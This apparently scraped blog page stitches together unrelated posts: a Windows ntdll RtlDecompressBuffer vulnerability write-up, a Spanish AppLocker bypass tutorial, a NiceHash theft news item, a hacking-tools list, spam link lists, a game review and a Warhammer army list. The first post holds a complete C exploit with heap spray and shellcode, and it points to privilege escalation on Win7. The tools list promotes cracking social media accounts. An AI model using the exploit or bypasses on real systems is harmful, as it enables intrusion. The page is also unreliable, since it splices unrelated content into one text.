Monday, April 13, 2020

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:


int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
int result; // eax@4

if ( algorithm & algorithm != 1 )
{
if ( algorithm & 0xF0 )
result = -1073741217;
else
result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
}
else
{
result = -1073741811;
}
return result;
}

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.



let's check the disassembly on Win7 32bits:

  • the movzx limits the boundaries to 16bits
  • the test ax, ax avoids the algorithm 0
  • the cmp ax, 1 avoids the algorithm 1
  • the test al, 0F0h limits the boundary .. wait .. al?


Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 



So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:


And the exploit code:

/*
ntdll!RtlDecompressBuffer() vtable exploit + heap spray
by @sha0coder

*/

#include
#include
#include

#define KB 1024
#define MB 1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";


PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
printf("%s\n\n", msg);
exit(1);
}

PUCHAR spray(HANDLE heap) {
PUCHAR map = 0;

printf("Spraying ...\n");
printf("Aproximating to %p\n", landing_ptr);

while (map < landing_ptr-1*MB) {
map = HeapAlloc(heap, 0, 1*MB);
}

//map = HeapAlloc(heap, 0, 1*MB);

printf("Aproximated to [%x - %x]\n", map, map+1*MB);


printf("Landing adddr: %x\n", landing_ptr);
printf("Offset of landing adddr: %d\n", landing_ptr-map);

return map;
}

void landing_sigtrap(int num_of_traps) {
memset(landing_ptr, 0xcc, num_of_traps);
}

void copy_shellcode(void) {
memcpy(landing_ptr, shellcode, strlen(shellcode));

}

int main(int argc, char **argv) {
FARPROC RtlDecompressBuffer;
NTSTATUS ntStat;
HANDLE heap;
PUCHAR compressed, uncompressed;
ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

heap = GetProcessHeap();

compressed_sz = estimated_uncompressed_sz = 1*KB;

compressed = HeapAlloc(heap, 0, compressed_sz);

uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);


spray(heap);
copy_shellcode();
//landing_sigtrap(1*KB);
printf("Landing ...\n");

ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

switch(ntStat) {
case STATUS_SUCCESS:
printf("decompression Ok!\n");
break;

case STATUS_INVALID_PARAMETER:
printf("bad compression parameter\n");
break;


case STATUS_UNSUPPORTED_COMPRESSION:
printf("unsuported compression\n");
break;

case STATUS_BAD_COMPRESSION_BUFFER:
printf("Need more uncompressed buffer\n");
break;

default:
printf("weird decompression state\n");
break;
}

printf("end.\n");
}

The attack vector
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7
Related news

Hacking Windows: Tricks Para Saltarse AppLocker

AppLocker es una funcionalidad que apareció con Windows 7 (versión Enterprise y Ultimate) y Windows Server 2008 R2 para sustituir a las Políticas de Restricción de Software - conocidas como SRP "Software Restriction Policies" - de las versiones anteriores. Igual que las directivas de restricción de software, AppLocker permite definir las aplicaciones autorizadas para ser ejecutadas por sus usuarios estándar dentro de su dominio instalando sus parámetros mediante directivas de grupo.

Figura 1: Hacking Windows: Tricks para saltarse AppLocker

La utilidad principal de esta funcionalidad es limitar la instalación de malware e impedir la instalación de software no normalizado y, por supuesto, son pieza fundamental de la Seguridad en Windows Server 2016 y de la aplicación de procesos de fortificación para conseguir la Máxima Seguridad en Windows.

Figura 2: Windows Server 2016: Configuración, Adminisración y Seguridad
de Ángel Núñez (Puedes contactar con él en MyPublicInbox)

Con la aparición de AppLocker, el número de cosas que se pueden realizar a la hora de evitar la ejecución de determinado tipo de programas son muchas. Ente la lista se encuentran:
- Definir reglas basadas en atributos de archivo que se mantengan a lo largo de las actualizaciones de la aplicación (nombre del archivo, versión…) , reglas basadas en la ruta y el hash del archivo. 
- Asignar una regla a un grupo de seguridad o a un usuario individual. 
- Crear Excepciones a ciertas reglas. 
- Modo auditoría para implementar la directiva y ver el impacto que tendrá antes de aplicarla. 
- Simplificar la creación y la administración de reglas de AppLocker con PowerShell.
Las tecnologías de control de acceso, como Active Directory Rights Management Services (ADRMS) y las listas de control de acceso (ACL), ayudan a controlar los usuarios a los que se permite el acceso al bien más preciado de las organizaciones: la información que posee. Al crear una lista de aplicaciones y archivos aprobados y permitidos, AppLocker también se ayuda a impedir la ejecución de aplicaciones para determinados usuarios.

Figura 3: Máxima Seguridad en Windows Gold Edition de
Sergio de los Santos (Puedes contactar con él en MyPublicInbox)

Como AppLocker puede controlar archivos .dll, también es útil para controlar quién puede instalar y ejecutar controles ActiveX y es ideal para aquellas organizaciones que actualmente usan la directiva de grupo para administrar sus equipos.

Hacking Windows: Bypass de AppLocker

Antes de empezar con la prueba de concepto es necesario activar el servicio de identidad de aplicación, así una vez que configuremos las reglas en AppLocker pueda aplicar las reglas que añadamos posteriormente. Para ello abrimos una CMD con permisos de administrador y escribimos el siguiente comando:

Figura 4: Activando el servicio de identidad de aplicacion

Una vez nos muestre que ha sido activado con éxito es necesario reiniciar el sistema operativo, para que se apliquen correctamente los cambios de esta activación. Después, ya podemos proceder a abrir las directivas de seguridad local, que se encuentra dentro de Panel de control\Sistema y  ahí dentro de Seguridad\Herramientas administrativas. Una vez abierta se nos mostrará una ventana como está de la imagen siguiente.

Figura 5: AppLocker

Para comenzar a configurar el servicio, debemos pulsar en el botón verde que dice "Configure rule enforcement" para configurar la aplicación de reglas. En el cuadro de configuración vamos a habilitar reglas de ejecutables tal y como se puede ver a continuación.

Figura 6: La primera opción es "Executable Rules"

Ahora procedemos a crear la regla para limitar la ejecución de una determinada aplicación, en nuestro caso vamos a bloquear a nuestra más que conocida, y muy querida, FOCA - Fear the FOCA! Se puede configurar de diferentes maneras, ya sea por la ruta de una carpeta o fichero, editor de software (el que firma el binario) o bien por el hash de archivo.

Figura 7: Configurando regla de ejecutable por ruta

Prueba 1: Saltando la regla de ruta

Nosotros vamos a elegir la ruta del ejecutable, para ver de manera sencilla cómo funciona AppLocker y después verificamos que se ha creado la regla para FOCA.

Figura 8: Reglas de prohibir FOCA por ruta creada

Como somos muy fan del Pentesting con Powershell, también se os enseñamos cómo se pueden visualizar las reglas que hay creadas en el Windows en el que estás trabajando con un pequeño script , tal y como podéis ver en la siguiente imagen.

Figura 9: Script en PowerShell (Haz clic para ver en grande)

Tras ejecutarlo, el resultado que nos arroja dicho script es lo siguiente. Es decir, la misma información pero directamente en nuestra PowerShell.

Figura 10: Reglas creadas en AppLocker

Y ahora sí, para ver si la configuración que hemos hecho funciona, lo que debería suceder cuando  intentamos ejecutar el binario de FOCA es que se nos mostrara el siguiente mensaje, dejándonos claro que no es posible hacer uso de esta aplicación.

Figura 11: AppLocker prohibe la ejecución de ese archivo

Saltar esta primera protección es bastante sencillo y conocido. Al final, como sabemos por la regla que hemos visto cuando hemos ejecutado nuestro script PowerShell, esta aplicación está bloqueada por ruta, es decir, que si tenemos permisos de lectura del binario de la FOCA - o de toda la carpeta - y escritura en una carpeta del sistema, podemos hacer lo siguiente:

Figura 12: Copiamos la carpeta de la FOCA a otra ubicación

Si la fortificación del sistema no se ha hecho acompañándolo de una estricta ACL, podremos copiar la carpeta de Origen (FocaPro_locked) a una nueva ubicación (FocaPro_unlocked), invalidando completamente la regla de AppLocker que está configurada.

Figura 13: Carpetas copiadas. Una afectada por AppLocker y otra no.

Ahora ya, si intentamos ejecutar el nuevo binario de FOCA, no encontraremos ninguna regla en AppLocker que le afecte, así que podemos disfrutar de

Figura 14: FOCA Final

No es nada sorprendente que esto pase de esta forma. Esta regla hace lo que dice, que es evitar que un programa que esté en una ruta concreta no se ejecute y si no lo acompañas de otras medidas de fortificación la regla sirve para lo que sirve. Por eso hay más medidas en AppLocker.

Prueba 2: Saltando la regla de Hash

Ahora que ya entendemos algo mejor AppLocker, vamos a ver otro ejemplo de bypass, pero esta vez vamos a saltarnos la regla del Hash de un fichero, que al igual que la regla anterior tiene sus limitaciones. Trabajaremos en este caso con Process Explorer (procexp64.exe), la herramienta de Sysinternals para ver los procesos en Windows. Primero obtenemos el Hash del fichero :

Figura 15: Obteniendo el Hash de un fichero con PowerShell

Como habéis visto, esto es algo que también podemos hacer con PowerShell. Y una vez que lo tenemos, configuramos una regla como en el caso anterior, pero esta ver seleccionando Hash File e introduciendo el Hash que acabamos de obtener.

Figura 16: Hash File Rule creada

Una vez tenemos la regla creada, AppLocker se encargará de comprobar ese hash en cualquier ejecutable que se intente lanzar, y si coincide con el de la regla, bloqueará el binario y no permitirá su ejecución, tal y como se puede ver en la imagen siguiente.

Figura 17:AppLocker bloquea procexp64.exe

Por supuesto, si llevas años en la industria de la detección de malware, ya sabes que hacer reglas para malware basado en Hashes siempre fue una mala idea, y haciendo un "Morphing de Superman", es decir, cambiando cualquier byte de una cadena de caracteres podemos modificar ese Hash. Para ello basta con que abramos el binario con un editor Hexadecimal y hacer una ligera modificación en una cadena de texto, para que el programa siga siendo totalmente funcional.

Figura 18: Haciendo un "Morphing de Superman"

Los caracteres en rojo, son aquellos que hemos modificado, simplemente hemos sustituido las letras que se visualizaban en la parte derecha por puntos. Guardamos como un nuevo binario llamado "procexp64_unlocked.exe" pero no porque con otro nombre lo vaya a ejecutar, si no para la prueba, podéis renombrarlo con el mismo nombre del binario para comprobar que realmente es efectivo. Una vez terminado el proceso del "Morphing de Superman", comprobamos que el Hash de los dos binarios es diferente :

Figura 19: Ya no tienen el mismo hash

Por supuesto, si ahora ejecutamos el nuevo binario - con diferente Hash - vemos que realmente nos hemos saltado la restricción por Hash de AppLocker porque, evidentemente, esta ya no le aplica para nada al tenerlo cambiado.

Figura 20: Process Explorer se ejecuta

Como os podéis imaginar, conocer en detalle el funcionamiento de estas tecnologías es fundamental para fortificar cualquier entorno Windows en una empresa, y entender cómo funcionan las reglas de ruta y de hash, y cuales son sus limitaciones es importante. Por supuesto, saber qué reglas están configuradas y cómo se puede saltar  AppLocker en un proyecto de auditoría que requiera tirar de técnicas de Hacking Windows es muy útil.

Figura 21: Hacking Windows: Ataques a sistemas y redes Microsoft

Te puedes encontrar AppLocker configurado en una auditoría, y si te encuentras estas reglas en las restricciones ya has visto que no es muy complicado. Sin embargo AppLocker también tiene reglas basadas en los certificados digitales con la que están firmados los ejecutables, donde un administrador concienzudo puede elegir qué fabricantes de software, qué programas y qué versiones concretas son las que se pueden utilizar o las que están prohibidas. Cuando esto es así, encontrar la forma de saltarse la restricción es más complicada. Eso sí, siempre puedes traerte tus propios programas sin firmar cuando haya listas negras...

Saludos!

Autor: Víctor Rodriguez Boyero, Security Researcher en el equipo de Ideas Locas de CDCO de Telefónica.


Continue reading

  1. Android Hack Tools Github
  2. Best Pentesting Tools 2018
  3. Hacking Tools Mac
  4. Pentest Tools For Ubuntu
  5. Pentest Tools List
  6. Computer Hacker
  7. Hacker Techniques Tools And Incident Handling
  8. Hacker Techniques Tools And Incident Handling
  9. Termux Hacking Tools 2019
  10. Hacking Apps
  11. Hack Tools Github
  12. Pentest Tools Website
  13. Game Hacking
  14. Hacking Tools Usb
  15. Easy Hack Tools
  16. Pentest Tools For Mac
  17. Hack Tools
  18. Hacker Tools 2019
  19. Black Hat Hacker Tools

OVER $60 MILLION WORTH OF BITCOINS HACKED FROM NICEHASH EXCHANGE

Over $60 Million Worth of Bitcoins Hacked from NiceHash Exchange. Bitcoin mining platform and exchange NiceHash has been hacked, leaving investors short of close to $68 million in BTC.
As the price of Bitcoin continues to rocket, surging past the $14,500 mark at the time of writing, cyberattackers have once again begun hunting for a fresh target to cash in on in this lucrative industry.
Banks and financial institutions have long cautioned that the volatility of Bitcoin and other cryptocurrency makes it a risky investment, but for successful attackers, the industry potentially provides a quick method to get rich — much to the frustration of investors.
Unfortunately, it seems that one such criminal has gone down this path, compromising NiceHash servers and clearing the company out.
In a press release posted on Reddit, on Wednesday, NiceHash said that all operations will stop for the next 24 hours after their "payment system was compromised and the contents of the NiceHash Bitcoin wallet have been stolen."
NiceHash said it was working to "verify" the precise amount of BTC stolen, but according to a wallet which allegedly belongs to the attacker — traceable through the blockchain — 4,736.42 BTC was stolen, which at current pricing equates to $67,867,781.
"Clearly, this is a matter of deep concern and we are working hard to rectify the matter in the coming days," NiceHash says. "In addition to undertaking our own investigation, the incident has been reported to the relevant authorities and law enforcement and we are co-operating with them as a matter of urgency."
"We are fully committed to restoring the NiceHash service with the highest security measures at the earliest opportunity," the trading platform added.
The company has also asked users to change their online passwords as a precaution. NiceHash says the "full scope" of the incident is unknown.
"We are truly sorry for any inconvenience that this may have caused and are committing every resource towards solving this issue as soon as possible," the company added.
Inconvenience is an understatement — especially as so much was left in a single wallet — but the moment those coins shift, we may know more about the fate of the stolen investor funds.

Continue reading


Best Hacking Tools

      MOST USEFUL HACKING TOOL

1-Nmap-Network Mapper is popular and free open source hacker's tool.It is mainly used for discovery and security auditing.It is used for network inventory,inspect open ports manage service upgrade, as well as to inspect host or service uptime.Its advantages is that the admin user can monitor whether the network and associated nodes require patching.

2-Haschat-It is the self-proclaimed world's fastest password recovery tool. It is designed to break even the most complex password. It is now released as free software for Linux, OS X, and windows.


3-Metasploit-It is an extremely famous hacking framework or pentesting. It is the collection of hacking tools used to execute different tasks. It is a computer severity  framework which gives the necessary information about security vulnerabilities. It is widely used by cyber security experts and ethical hackers also.

4-Acutenix Web Vulnerability Scanner- It crawls your website and monitor your web application and detect dangerous SQL injections.This is used for protecting your business from hackers.


5-Aircrack-ng - This tool is categorized among WiFi hacking tool. It is recommended for beginners  who are new to Wireless Specefic Program. This tool is very effective when used rightly.


6-Wireshark-It is a network analyzer which permit the the tester to captyre packets transffering through the network and to monitor it. If you would like to become a penetration tester or cyber security expert it is necessary to learn how to use wireshark. It examine networks and teoubleshoot for obstacle and intrusion.


7-Putty-Is it very beneficial tool for a hacker but it is not a hacking tool. It serves as a client for Ssh and Telnet, which can help to connect computer remotely. It is also used to carry SSH tunneling to byepass firewalls. So, this is also one of the best hacking tools for hackers.


8-THC Hydra- It is one of the best password cracker tools and it consist of operative and highly experienced development team. It is the fast and stable Network Login Hacking Tools that will use dictonary or bruteforce attack to try various combination of passwords against in a login page.This Tool is also very useful for facebook hacking , instagram hacking and other social media platform as well as computer folder password hacking.


9-Nessus-It is a proprietary vulnerability scanner developed by tennable Network Security. Nessus is the world's most popular vulnerability scanner according to the surveys taking first place in 2000,2003,2006 in security tools survey.


10-Ettercap- It is a network sniffing tool. Network sniffing is a computer tool that monitors,analyse and defend malicious attacks with packet sniffing  enterprise can keep track of network flow. 


11-John the Ripper-It is a free famous password cracking pen testing tool that is used to execute dictionary attacks. It is initially developed for Unix OS. The Ripper has been awarded for having a good name.This tools can also be used to carry out different modifications to dictionary attacks.


12-Burp Suite- It is a network vulnerability scanner,with some advance features.It is important tool if you are working on cyber security.


13-Owasp Zed Attack Proxy Project-ZAP and is abbreviated as Zed  Attack Proxy is among popular OWASP project.It is use to find vulnerabilities in Web Applications.This hacking and penetesting tool is very easy to use  as well as very efficient.OWASP community is superb resource for those people that work with Cyber Security.


14-Cain & Abel-It is a password recovery tool for Microsoft Operating System. It allow easy recovery of various kinds of passwords by sniffing the networks using dictonary attacks.


15-Maltego- It is a platform that was designed to deliver an overall cyber threat pictures to the enterprise or local environment in which an organisation operates. It is used for open source intelligence and forensics developed by Paterva.It is an interactive data mining tool.

These are the Best Hacking Tools and Application Which are very useful for penetration testing to gain unauthorized access for steal crucial data, wi-fi hacking , Website hacking ,Vulnerability Scanning and finding loopholes,Computer hacking, Malware Scanning etc.

This post is only for educational purpose to know about top hacking tools which are very important for a hacker to gain unauthorized access. I am not responsible for any type of crime.





More articles
  1. Pentest Tools Open Source
  2. Github Hacking Tools
  3. Bluetooth Hacking Tools Kali
  4. Hack Tools
  5. Hacking Tools Pc
  6. Best Pentesting Tools 2018
  7. Hacking Tools For Games
  8. Growth Hacker Tools
  9. Pentest Tools Nmap
  10. Hack Tools 2019
  11. Hack Tools For Ubuntu
  12. Hacking Tools 2019
  13. Hacking Tools For Kali Linux
  14. Hack Tools
  15. Pentest Tools Port Scanner
  16. Bluetooth Hacking Tools Kali
  17. Best Hacking Tools 2019
  18. Termux Hacking Tools 2019

Saturday, April 11, 2020

Overkill's The Walking Dead - Review


overkill's the walking dead, overkill's the walking dead review, overkill's the walking dead ps4, overkill's the walking dead




Overkill's The Walking Dead - Review

Overkill's The Walking Dead is a sincere endeavor to convey a helpful adventure set in the notable Walking Dead universe, yet that effort feels somewhat like it's very little past the point of no return, as Overkill's The Walking Dead frequently doesn't feel like a shooter by any stretch of the imagination. It takes the rules built up by Robert Kirkman's comic series and its consequent TV adaption to heart in the wrong ways, forcing uneven decides on its missions that intensely restrict how you're able to play. Combined with a confounding combination of survival mechanics covered in unintuitive menus, useless customization choices, and non-existent incentives to enhance your gear, The Walking Dead feels foul and unfocused. 


Quick Facts:


  • Initial release date: 6 November 2018
  • Engine: Unreal Engine
  • Developer: Overkill Software
  • Genre: First-person shooter
  • Platforms: PlayStation 4, Xbox One, Microsoft Windows



 Overkill's The Walking Dead is a game about apparently thoughtless butcher with not very many plot strings drawing an obvious conclusion. There is no drama, there are no characters created crosswise over missions, and there is no nuance to for what reason you're killing people as promptly as you do the walkers. It has next to no to do with what makes The Walking Dead so incredible.


Also Read: Anthem | Preview, Release date, Gameplay, News, & more...


Overkill's the walking dead: Gameplay

The biggest enemy in The Walking Dead—besides, you know, the walking dead—is noise. Nothing floods the roads with zombies quicker than a noisy blast or a jukebox firing up a Queen track. most of the missions in The Walking Dead is a stealth mission. Basically, this makes the game fundamentally the same as Overkill's past co-op shooters, Payday and Payday 2. In those games, heists start out calmly until the point that an alarm gets activated and the best way to get out alive is to go loud.

Missions are diluted into more stealthy issues therefore, which can be somewhat engaging when you're working closely with teammates. As a major aspect of an efficient group you can keep noise to a minimum and dodge enemies completely, yet it generally just takes one player not sticking to the script to ruin a run. making the situation worse, there's no help for voice chat in-game nor some other approaches to communicate besides text talk, which is a huge bummer.

Check out this amazing gameplay from Polygon





Killing a couple of scattered zombies with baseball bats and blades is simple enough, however, in the end, somebody will make a noise calling for backup. Regardless of whether it's a gunshot, a blast, or a car alarm. If your group is messy, in the end the group will get too thick to battle at all, and the only wise thing left to do is run.

Even though fighting zombies is pretty simple, but you don't wanna get too close to them as they will grab you and will drain your health to a good amount as it takes some time to shove them off.

It's too awful that slaughtering zombies with melee weapons is so essential, though, because these weapons aren't much fun to use. There are machetes, baseball bats, and pickaxes, but they all feel clunky, and pretty much the same. And also fighting off thick crowds of zombies, again and again, becomes boring, but what satisfies me the most is the wooden tunk sound I get from smacking a zombie right in the skull.


Also Read: Hitman 2 | Review, Trailer, Gameplay & Everything else you need to know.


Overkill's The Walking Dead: Characters



In Overkill's The Walking Dead, you take control of one of four new characters, each with their own uninvolved weapon specializations and one of a kind aptitudes. For instance, Maya is the medic and her unique ability is tossing down a med bag that can heal up anybody in your group. Aiden, on the other hand, gets streak blasts that can daze human enemies and distract zombie crowds.

Each character is fun in their own particular manner and, in spite of their strengths, anybody can utilize any weapon you discover, giving them a helpful adaptability. The distinction, however, is that they won't have the capacity to apply any of their skill upgrades or passive rewards to upgrade a weapon outside their wheelhouse.


But beyond that, the difference between the characters are for the most part detail driven other than a solitary unique skill. 





From its restrictive mission structures, unbalanced difficulty and baffling methods of progression, The Walking Dead struggles to justify the time it requires from you. It's a collection gameplay diagrams stacked upon each other without insightful thought on how they may durably cooperate, wrapped with a dull presentation and ordinary combat that once in a while energizes. The Walking Dead is a wreck of scattered thoughts and an absence of direction, and there's no reason to make sense of it all.


Also Read: Resident Evil 2 Remake | Review, Trailer, Release date, News, Gameplay, and more...


The Verdict:


It's fun when you cooperate with friends and escape the horde of zombies by sneaky ways. But, it's all wrapped with a package of various disappointments: Technical issues, unavoidable repetition, and dull shooting experience.





Wednesday, April 08, 2020

Harlequins: Making It Work

Chopping up yo faces.

So.. my last post about Harlequins might have been a little too negative.  Don't worry though, just because I'm talking real sometimes doesn't mean I'm going to give up.  You guys have to remember that even though I'm a competitive player, I'm not WAAC.  Think about it:  I've been playing pure Kabal Dark Eldar since 3rd.  I have never owned a single Coven unit because I don't like the playstyle and I despise the fluff.  So what does this mean?  That means that I'm going to be playing boatloads of Harlequins and trying to get them to work on the table.

I've been constructing a lot of lists in the last couple of days with the new book and I've had a lot of thought experiments.  Here are some of the topics that I've thought about the most the last couple of days:
  • How viable is Harlequins as a standalone army?  They're so expensive and it's really difficult to get them to work from a raw points-effectiveness standpoint.  The more Harlequins you take, the less other "good stuff" you can take from allies.
  • Speaking of allies:  What makes a good ally for Harlequins?  Do you take them with Eldar or do you take them with Dark Eldar?  What about both?  Do you even have enough points to take both?
  • There are a TON of Strategems that I think Harlequins generally depend on.  Your model count is low, so you really need to spend CP on them every chance you get to make them worth it.  I think Harlequins might be one of the most CP-heavy armies in the entire game from what I've seen.
  • For my playstyle, I'm going to keep the army mechanized because I need to be able to preserve the fragile assault units inside while delivering them across the table.  However, I did think about big units of Troupes a few times because of all the overlapping and stacking buffs.
  • What is the best Form that I should take with my army?  I'm mainly thinking about Soaring Spite right now because my forces are mostly mechanized, but I'm also eyeing Frozen Stars for damage, Midnight Sorrow for tieing things up, and Silent Shroud for practicality with Eldar shenanigans.
  • I'm still working on the best layout for my Troupes, mainly because I'm focusing on 3 key design principles:  The Form matters, but cost-effective units matter more.  The Troupe must be able to be a melee threat to all targets.  The first Fusion Pistol is a must, the rest is luxury.

With that said, I got started working on some basic list principles:
  • Build with as much CP as possible because you should be using Harlequin Stratagems at every chance to keep the army alive.  This means double-Bat is a must-have.
  • Build with some kind of Black Heart so you can bring in Cunning and introduce Vect so you can repress enemy bull-shittery while having a CP-farm on your side.
  • Build as many threats as possible:  Keeping your Troupes alive so they can make a cost-effective return means you have to introduce some serious threats on your side of the table.
Should I take more Dark Eldar?

Here is the first list I came up with after some tweaking:

Soaring Heart
2000 // 13 CP

Soaring Spite Bat +5

HQ:
Troupe Master, Caress, Fusion = 86
Troupe Master, Caress, Fusion = 86

TROOP:
5x Troupe, 5x Caress, 2x Fusion = 118
Starweaver = 99
217

5x Troupe, 5x Caress, 2x Fusion = 118
Starweaver = 99
217

5x Troupe, 5x Caress, 2x Fusion = 118
Starweaver = 99
217

ELITE:
Solitaire = 98

+++

Black Heart Bat +5

HQ:
Archon, Agonizer, Blaster = 91
Cunning, Living Muse

Archon, Agonizer, Blaster = 91

TROOP:
5x Warriors, Blaster = 47
5x Warriors, Blaster = 47
5x Warriors, Blaster = 47
5x Warriors, Blaster = 47
5x Warriors, Blaster = 47
5x Warriors, Blaster = 47

PARTY BOATS:
Raider, Dissie = 80
Raider, Dissie = 80
Raider, Dissie = 80

HEAVY:
Ravager, 3x Dissies = 125
Ravager, 3x Dissies = 125
Ravager, 3x Dissies = 125

>>>

Firepower:
12 Disintegrators at BS3+
24 Splinter Rifles at BS3+
6 Blasters at BS3+
2 Blasters at BS2+
6 Shuriken Cannons at BS3+
6 Fusion Pistols at BS3+
2 Fusion Pistols at BS2+

The list design here was really easy because I think all the right notes.  I originally had Razorwings in the army because I really like having some kind of air, but I didn't have enough boots on the ground for me to be truly influential.  When I first began army list construction, I noticed that I was hesitant to turn my Black Heart Spearhead into a Battalion.  I kept finding that second Archon as a bit of tax, but then I remembered just how many times I'm going to use Harlequin Strategems throughout the game.  While the firepower of the list looks pretty small, one can't remember the absolute monster that is Harlequins in melee once they get there.  With all 5 Players in a Troupe having 4 S5 AP-2 attacks, things are going to get all kinds of disgusting once you actually get in there.  To make things more exciting, I'm planning to make one of the Troupe Masters The Great Harlequin for that tasty re-roll 1s to Hit bubble.

Or should I take more Eldar?

Alaitoc Soaring Heart
1999 // 14 CP

Soaring Spite Bat +5

HQ:
Troupe Master, Caress, Fusion = 86
Troupe Master, Caress, Fusion = 86

TROOP:
5x Troupe, 5x Caress, Fusion = 109
Starweaver = 99
208

5x Troupe, 5x Caress, Fusion = 109
Starweaver = 99
208

5x Troupe, 5x Caress, Fusion = 109
Starweaver = 99
208

+++

Alaitoc Bat +5

HQ:
Farseer Skyrunner = 135
Doom, Mind War

Warlock Skyrunner = 70
Protect/Jinx

TROOP:
5x Rangers = 60
5x Rangers = 60
5x Rangers = 60

FLYER:
Crimson Hunter Ex, Lances = 175
Crimson Hunter Ex, Lances = 175

+++

Black Heart Spearhead +1

HQ:
Archon, Huskblade, Blaster = 93
Cunning, Living Muse

HEAVY:
Ravager, 3x Dissies = 125
Ravager, 3x Dissies = 125
Ravager, 3x Dissies = 125

>>>

Firepower:
9 Disintegrators at BS3+
4 Bright Lances at BS2+
2 Pulse Laser at BS2+
6 Shuriken Cannons at BS3+
3 Fusion Pistols at BS3+
2 Fusion Pistols at BS2+
15 Ranger Long Rifle at BS3+

This one is a bit different and I might be stretching myself too thin.  I've already dropped the Solitaire (which hurts my heart greatly) to make room for some Eldar allies, while greatly decreasing the amount of DE I have in the army.  The Black Heart detachment has been reduced to a small footprint just for the CP farm and fire support, but I've introduced fighters back into the mix with 2x Crimson Hunter Exarchs to give some heavy lances while the Doomseer and Jinxlock go do their thing.  I still have Rangers to be backcap but otherwise, I find this list a bit light on boots on the ground.  Missions might also be a problem, which is why I'm slightly in favor of the first list.

Regardless of which list works out to be better, both lists have a sizeable Harlequin presence with a lot of melee pressure.  The Caress' across the entire army really puts out some good threat, as well as the 22" moving and shooting Shuriken Cannons and Fusion Pistols without BS penalty.  Hell, I even have a pet unit in the first list because I think the Solitaire is the coolest thing ever.  With CP/Ravager farms in both lists, Warrior/Blasters in the first list, and Crimson Hunters in the second, which list do you guys like better?